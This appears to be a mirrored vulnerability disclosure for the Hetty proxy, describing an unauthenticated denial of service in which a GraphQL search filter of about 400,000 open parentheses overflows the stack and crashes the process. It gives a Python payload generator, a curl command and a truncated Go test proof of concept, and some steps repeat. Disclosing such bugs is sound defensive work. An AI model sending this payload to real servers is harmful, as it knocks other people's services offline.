未经验证的远程 DoS: 单个 GraphQL 搜索表达式会导致整个进程崩溃(过度堆栈)

作者: MrEchoFi创建于 2026年6月14日更新于 2026年6月14日

Start Hetty normally ("hetty", default listen :8080).
Build a GraphQL mutation whose searchExpression is ~400k ( characters:

bash

python3 - <<'PY' > /tmp/payload.json
import json
q = "mutation($f:String!){setHttpRequestLogFilter(filter:{searchExpression:$f}){searchExpression}}"
print(json.dumps({"query": q, "variables": {"f": "(" * 400000}}))
PY

Send it to the admin GraphQL endpoint:

bash

curl -s http://localhost:8080/api/graphql/ \
  -H 'Content-Type: application/json' \
  --data @/tmp/payload.json

Start Hetty normally ("hetty", default listen :8080).
Build a GraphQL mutation whose searchExpression is ~400k ( characters:

package filter
import (
	"strings"
	"testing"
)
func TestStackOverflowPoC(t *testing.T) {
	// Aborts the test binary with "fatal error: stack overflow"
	// on unpatched code. recover() does NOT catch it.
	_, _ =

内容来源: dstotijn/hetty

查看 GitHub 原文在 GitHub 查看讨论